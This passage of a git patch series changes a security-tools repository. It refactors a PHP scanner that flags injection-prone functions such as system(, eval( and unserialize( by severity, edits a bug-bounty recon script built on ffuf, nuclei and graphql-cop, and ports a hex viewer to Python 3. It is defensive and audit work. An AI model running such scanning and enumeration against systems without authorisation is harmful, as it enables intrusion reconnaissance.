+196,8 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: - for fn in pefdefs.critical: + if self.level: + for fn in pefdefs.exploitableFunctions: total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) else: @@ -204,7 +205,7 @@ def main(self, src): total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) - if self.critical == False and not self.pattern: + if self.level == False and not self.pattern: for dp in pefdefs.fileInclude: total = self.analyse_line(l, i, dp, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) @@ -278,7 +279,7 @@ def run(self): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-c", "--critical", help="look only for critical functions", action="store_true") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") parser.add_argument( "-p", "--pattern", help="look only for particular code pattern(s)") parser.add_argument( @@ -293,14 +294,14 @@ def run(self): verbose = True if args.verbose else False sql = True if args.sql else False - critical = True if args.critical else False + level = args.level if args.level else 'ALL' pattern = args.pattern.split(',') if args.pattern else [] filename = args.file try: # main orutine starts here engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) + level, sql, filename, pattern) engine.run() except IndexError as e: print("IndexError in {}: {}".format(filename, e)) @@ -310,6 +311,8 @@ def run(self): print("Requested file not found, check the path :)") except IsADirectoryError as e: print(f"{filename} is a directory and requires -r flag") + except UnicodeDecodeError as e: + pass except Exception as e: print("Unexpected error:") print(type(e)) From d6514403cb088564944011d4904b616bb91880bc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 17:50:07 +0000 Subject: [PATCH 275/460] [pef] Removed critical from pefdefs.py; define some of them as 'critical' in pefdocs.py, tio use with --level CRITICAL --- pef/imports/pefdefs.py | 26 -------------------------- pef/imports/pefdocs.py | 20 ++++++++++---------- pef/pef.py | 5 ++++- 3 files changed, 14 insertions(+), 37 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 63c3ba8..81075f7 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -90,32 +90,6 @@ "file_put_contents(" ] -# only high severity functions, for quick scan of large codebase -# to find oversighted leading to RCE, LFI, Command Injections, SQLi etc. -critical = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "passthru(", - "shell_exec(", - "extract(", - "putenv(", - "unserialize(", - "readfile(", - "file_get_contents(", - "mysql_query(", - "mssql_query(", - "sqlite_query(", - "pg_query(", - "__wakeup(", - "__destruct(", - "__sleep(", - "__call(", - "__callStatic(", - "file_put_contents(" -] # dangerous global(s) globalVars = [ diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 32d6643..fb7a50f 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -9,13 +9,13 @@ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", "RCE", - "high" + "critical" ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", "RCE", - "high" + "critical" ], "call_user_func_array()": [ "Call a callback with an array of parameters", @@ -39,7 +39,7 @@ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", - "high" + "critical" ], "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", @@ -57,13 +57,13 @@ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", "RCE", - "high" + "critical" ], "shell_exec()": [ "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", "shell_exec ( string $cmd ) : string", "RCE", - "high" + "critical" ], "popen()": [ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", @@ -81,13 +81,13 @@ "Executes the program with the given arguments.", "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", "RCE", - "high" + "critical" ], "extract()": [ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", - "medium" + "high" ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", @@ -159,13 +159,13 @@ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", - "medium" + "high" ], "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", - "medium" + "high" ], "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", @@ -405,7 +405,7 @@ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "high" ], "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", diff --git a/pef/pef.py b/pef/pef.py index a2ac67e..bb05424 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -115,7 +115,8 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li impact_color = { "low": "green", "medium": "yellow", - "high": "red" + "high": "red", + "critical": "red" } # print legend only if there i sentry in pefdocs.py @@ -258,6 +259,8 @@ def run(self): SUMMARY = "{}==> {}:\t {}" + print(SUMMARY.format( + beautyConsole.getColor("red"), "CRITICAL", self.severity.get("critical"))) print(SUMMARY.format( beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) print(SUMMARY.format(beautyConsole.getColor( From 15b5eb7a47766943be52f73bfa7748ca099ae82f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 18:04:29 +0000 Subject: [PATCH 276/460] [pef] refactoring --- pef/pef.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index bb05424..1491c44 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -176,8 +176,6 @@ def main(self, src): f = open(src, "r") i = 0 total = 0 - filenamelength = len(src) - linelength = 97 all_lines = f.readlines() self.header_printed = False @@ -226,7 +224,7 @@ def main(self, src): if total > 0: print(beautyConsole.getColor("red") + - "Found %d interesting entries\n" % (total) + + "\nFound %d interesting entries\n" % (total) + beautyConsole.getSpecialChar("endline")) return total # return how many findings in current file From b1f93635e5f74306795e856e580bf0a0e750194f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 11 Mar 2022 18:14:49 +0000 Subject: [PATCH 277/460] [pef] refactoring; simlified output --- pef/imports/pefdefs.py | 25 +----- pef/pef.py | 191 ++++------------------------------------- 2 files changed, 21 insertions(+), 195 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 81075f7..7b5a6be 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -87,21 +87,12 @@ "__destruct(", "__sleep(", "filter_var(", - "file_put_contents(" -] - - -# dangerous global(s) -globalVars = [ + "file_put_contents(", "$_POST", "$_GET", "$_COOKIE", "$_REQUEST", - "$_SERVER" -] - -# dangerous patterns - LFI/RFI -fileInclude = [ + "$_SERVER", "include($_GET", "require($_GET", "include_once($_GET", @@ -109,22 +100,14 @@ "include($_REQUEST", "require($_REQUEST", "include_once($_REQUEST", - "require_once($_REQUEST" -] - -# reflected properties which might leads to eg. XSS -reflectedProperties = [ + "require_once($_REQUEST", "$_SERVER[\"PHP_SELF\"]", "$_SERVER[\"SERVER_ADDR\"]", "$_SERVER[\"SERVER_NAME\"]", "$_SERVER[\"REMOTE_ADDR\"]", "$_SERVER[\"REMOTE_HOST\"]", "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]" -] - -# other patterns -otherPatterns = [ + "$_SERVER[\"HTTP_USER_AGENT\"]", "SELECT.*FROM", "INSERT.*INTO", "UPDATE.*", diff --git a/pef/pef.py b/pef/pef.py index 1491c44..e4e133c 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -42,16 +42,13 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, level, sql, filename, pattern): + def __init__(self, recursive, level, filename): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) - self.verbose = verbose # show prev/next lines self.level = level # scan only for level set of functions - self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan - self.pattern = pattern # pattern(s) to look for, if set self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -65,17 +62,7 @@ def __init__(self, recursive, verbose, level, sql, filename, pattern): self.header_printed = False return - def header_print(self, file_name, header_print): - """ - prints file header - """ - if self.header_printed == False: - print(beautyConsole.getColor("white") + "-" * 100) - print("FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n") - self.header_printed = True - return self.header_printed - - def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total): + def analyse_line(self, l, i, fn, f, line): """ analysis of single line of code; searches for pattern (passed as fn and atfn) occurence @@ -88,27 +75,12 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - # try to match --pattern if set, using RegExp - if self.pattern: - pattern = re.compile(self.pattern[0]) - if re.match(pattern, line): - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose, self.level) - else: - if fn in line or atfn in line: - self.header_printed = self.header_print( - f.name, self.header_printed) - total += 1 - self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, self.severity, - verbose, self.level) - return total - - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity="", verbose=False, level='ALL'): + if fn in line or atfn in line: + self.print_code_line(f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, + self.level) + return + + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): """ prints formatted code line """ @@ -122,112 +94,38 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ - 0] - syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if impact.upper() == level.upper() or level == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) + print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( + "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + - beautyConsole.getSpecialChar("endline")) - print() return def main(self, src): """ main engine loop """ - f = open(src, "r") + f = open(src, "r", encoding="ISO-8859-1") i = 0 - total = 0 all_lines = f.readlines() - self.header_printed = False - prev_prev_line = "" - prev_line = "" - next_line = "" - next_next_line = "" for l in all_lines: - if i > 2: - prev_prev_line = all_lines[i - 2].rstrip() - if i > 1: - prev_line = all_lines[i - 1].rstrip() - if i < (len(all_lines) - 1): - next_line = all_lines[i + 1].rstrip() - if i < (len(all_lines) - 2): - next_next_line = all_lines[i + 2].rstrip() - i += 1 line = l.rstrip() if self.level: for fn in pefdefs.exploitableFunctions: - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - else: - for fn in (self.pattern if self.pattern else pefdefs.exploitableFunctions): - total = self.analyse_line(l, i, fn, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if self.level == False and not self.pattern: - for dp in pefdefs.fileInclude: - total = self.analyse_line(l, i, dp, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - for globalvars in pefdefs.globalVars: - total = self.analyse_line(l, i, globalvars, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) + self.analyse_line(l, i, fn, f, line) - for refl in pefdefs.reflectedProperties: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if sql == True: - for refl in pefdefs.otherPatterns: - total = self.analyse_line(l, i, refl, f, line, prev_line, - next_line, prev_prev_line, next_next_line, verbose, total) - - if total > 0: - print(beautyConsole.getColor("red") + - "\nFound %d interesting entries\n" % (total) + - beautyConsole.getSpecialChar("endline")) - - return total # return how many findings in current file + return # return how many findings in current file def run(self): """ @@ -240,32 +138,11 @@ def run(self): if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) print(beautyConsole.getColor("white") + "-" * 100) - - print( - f"{beautyConsole.getColor('green')}\n>>> {self.scanned_files} file(s) scanned") - if self.found_entries > 0: - print( - f"{beautyConsole.getColor('red')}>>> {self.found_entries} interesting entries found\n") - else: - print(" No interesting entries found :( \n") - - SUMMARY = "{}==> {}:\t {}" - - print(SUMMARY.format( - beautyConsole.getColor("red"), "CRITICAL", self.severity.get("critical"))) - print(SUMMARY.format( - beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print(SUMMARY.format(beautyConsole.getColor( - "yellow"), "MEDIUM", self.severity.get("medium"))) - print(SUMMARY.format(beautyConsole.getColor( - "green"), "LOW", self.severity.get("low"))) - print("\n") @@ -281,47 +158,13 @@ def run(self): "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") - parser.add_argument( - "-p", "--pattern", help="look only for particular code pattern(s)") - parser.add_argument( - "-s", "--sql", help="look for raw SQL queries", action="store_true") - parser.add_argument( - "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") - parser.add_argument( - "-n", "--noglobals", help="only functions (no $_XXX)", action="store_true") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() - verbose = True if args.verbose else False - sql = True if args.sql else False - level = args.level if args.level else 'ALL' - pattern = args.pattern.split(',') if args.pattern else [] + level = args.level.upper() if args.level else 'ALL' filename = args.file - try: - # main orutine starts here - engine = PefEngine(args.recursive, verbose, - level, sql, filename, pattern) - engine.run() - except IndexError as e: - print("IndexError in {}: {}".format(filename, e)) - except UnicodeDecodeError as e: - print("UnicodeDecodeError in {}: {}".format(filename, e)) - except FileNotFoundError as e: - print("Requested file not found, check the path :)") - except IsADirectoryError as e: - print(f"{filename} is a directory and requires -r flag") - except UnicodeDecodeError as e: - pass - except Exception as e: - print("Unexpected error:") - print(type(e)) - print(e.args) - print(e) - finally: - # cleaning up - - # exiting - print("[+] Done") - exit(0) + # main orutine starts here + engine = PefEngine(args.recursive, level, filename) + engine.run() From c81864414ffc9355ddc94d95cb94a68c596e38e4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Mar 2022 15:39:07 +0000 Subject: [PATCH 278/460] [s0mbra] Remove nuclei --- s0mbra.sh | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c22ecff..7f1b4f3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -241,13 +241,12 @@ recon() { httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration - echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" + echo -e "\n$GREEN--> ffuf on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -260,7 +259,7 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? +# does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 @@ -271,7 +270,6 @@ ransack() { VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) - NUCLEI=$(echo $2|grep 'nuclei'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) # set proto: @@ -323,11 +321,6 @@ ransack() { feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log fi - # nuclei - if [[ $NUCLEI -eq "1" ]]; then - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log - fi - # x8 if [[ $X8 -eq "1" ]]; then x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 @@ -707,8 +700,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 1939490c86d223d7d2fdeffe0efe7febe726c599 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Mar 2022 14:42:00 +0000 Subject: [PATCH 279/460] [s0mbra] added graphql-cop --- s0mbra.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 7f1b4f3..4469994 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -514,6 +514,12 @@ jadx() { /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +gql() { + clear + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CLR" + python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 +} + apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -639,6 +645,9 @@ case "$cmd" in snyktest) snyktest ;; + gql) + gql + ;; dex_to_jar) dex_to_jar "$2" ;; @@ -708,6 +717,7 @@ case "$cmd" in echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" From 489a0e5c40623217c184cfcafac1ab71641fc25b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Mar 2022 14:44:10 +0000 Subject: [PATCH 280/460] [s0mbra] graphql-cop - small refactoring --- s0mbra.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4469994..bbce57c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -516,8 +516,9 @@ jadx() { gql() { clear - echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CLR" + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" } apk() { @@ -646,7 +647,7 @@ case "$cmd" in snyktest ;; gql) - gql + gql "$2" ;; dex_to_jar) dex_to_jar "$2" From 4886b7db33b0fc9d659c24e7ed8be67b635424cc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Mar 2022 06:38:12 +0000 Subject: [PATCH 281/460] [s0mbra] objdump - refactoring for macOS --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index bbce57c..bdfd35a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -504,7 +504,7 @@ unjar() { disass() { clear echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." - objdump -d -x86-asm-syntax=intel $1 > 1.asm + objdump -d --arch-name=x86-64 -M intel $1 > 1.asm echo -e "\n$BLUE[s0mbra] Done." } From 5c464d31657dff6bbeb6d023fc59bedfde7e3906 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Mar 2022 20:35:42 +0000 Subject: [PATCH 282/460] [hexview] Python 2 -> Python 3 refactoring (in progress) --- hexview/hexview.py | 494 +++++++++++++++++++++++++-------------------- 1 file changed, 275 insertions(+), 219 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 2a0e7a8..2b23b41 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -9,178 +9,180 @@ import itertools import binascii -ASCII = 'ascii' -CTRL = 'ctrl' -OTHER = 'other' +ASCII = "ascii" +CTRL = "ctrl" +OTHER = "other" # https://en.wikipedia.org/wiki/List_of_file_signatures FILE_SIGNATURES = { - 'a1b2c3d4': 'Libpcap File Format', + "a1b2c3d4": "Libpcap File Format", # '47': 'MPEG Transport Stream (MPEG-2 Part 1)', - 'd4c3b2a1': 'Libpcap File Format', - '0a0d0d0a': 'PCAP Next Generation Dump File Format (pcapng)', - 'edabeedb': 'RedHat Package Manager (RPM) package', - '53503031': 'Amazon Kindle Update Package', - '00': 'IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file', - 'BEBAFECA': 'Palm Desktop Calendar Archive', - '00014244': 'Palm Desktop To Do Archive', - '00014454': 'Palm Desktop Calendar Archive', - '00010000': 'Palm Desktop Data File (Access format)', - '00000100': 'Computer icon encoded in ICO file format', - '667479703367': '3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files', - '1FA0': 'Compressed file (often tar zip) using LZH algorithm', - '425A68': 'Compressed file using Bzip2 algorithm', - '474946383761': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF87a', - '474946383961': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF89a', - 'FFD8FFE00010': 'JPEG raw or in the JFIF or Exif file format', - '49492A00': 'Tagged Image File Format (tiff, Little Endian format)', - '4D4D002A': 'Tagged Image File Format (tiff, Big Endian)', - '49492A0010000000': 'Canon RAW Format Version 2', - '4352': 'Canon RAW format is based on the TIFF file format', - '802A5FD7': 'Kodak Cineon image', - '524E4301': 'Compressed file using Rob Northen Compression version 1', - '524E4302': 'Compressed file using Rob Northen Compression version 2', - '53445058': 'SMPTE DPX image (big endian format)', - '58504453': 'SMPTE DPX image (little endian format)', - '762F3101': 'OpenEXR image', - '425047FB': 'Better Portable Graphics', - 'FFD8FFDB': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE000104A4649460001': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE1': 'JPEG raw or in the JFIF or Exif file format', - '464F52': 'IFF Interleaved Bitmap Image', - '4C424D': 'IFF Interleaved Bitmap Image', - '464F52': 'IFF 8-Bit Sampled Voice', - '535658': 'IFF 8-Bit Sampled Voice', - '464F524D': 'IFF (misc filetypes)', - '4C5A4950': 'lzip compressed file', - '4D5A': 'DOS MZ executable file format and its descendants (including NE and PE)', - '504B0304': 'zip file format and formats based on it, such as JAR, ODF, OOXML', - '504B0506': 'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', - '504B0708': 'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', - '526172211A0700': 'RAR archive version 1.50 onwards', - '526172211A070100': 'RAR archive version 5.0 onwards', - '7F454C46': 'ELF Executable and Linkable Format', - '89504E470D0A1A0A': 'Image encoded in the Portable Network Graphics format (PNG)', - 'CAFEBABE': 'Java class file, Mach-O Fat Binary', - 'EFBBBF': 'UTF-8 encoded Unicode byte order mark, commonly seen in text files', - 'FEEDFACE': 'Mach-O binary (32-bit)', - 'FEEDFACF': 'Mach-O binary (64-bit)', - 'CEFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 32-bit)', - 'CFFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 64-bit)', - 'FFFE': 'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', - 'FFFE0000': 'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', - '25215053': 'PostScript document', - '25504446': 'PDF document', - '3026B2758E66CF11': 'Advanced Systems Format (asf, wma, wmv)', - 'A6D900AA0062CE6C': 'Advanced Systems Format (asf, wma, wmv)', - '2453444930303031': 'System Deployment Image, a disk image format used by Microsoft', - '4F676753': 'Ogg, an open source media container format', - '38425053': 'Photoshop Document file, Adobe Photoshop native file format', - 'FFFB': 'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', - '494433': 'MP3 file with an ID3v2 container', - '424D': 'BMP file, a bitmap format used mostly in the Windows world', - '4344303031': 'ISO9660 CD/DVD image file', - '53494D504C452020': 'Flexible Image Transport System (FITS)', - '664C6143': 'Free Lossless Audio Codec (flac)', - '4D546864': 'MIDI sound file', - 'D0CF11E0A1B11AE1': 'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', - '6465780A30333500': 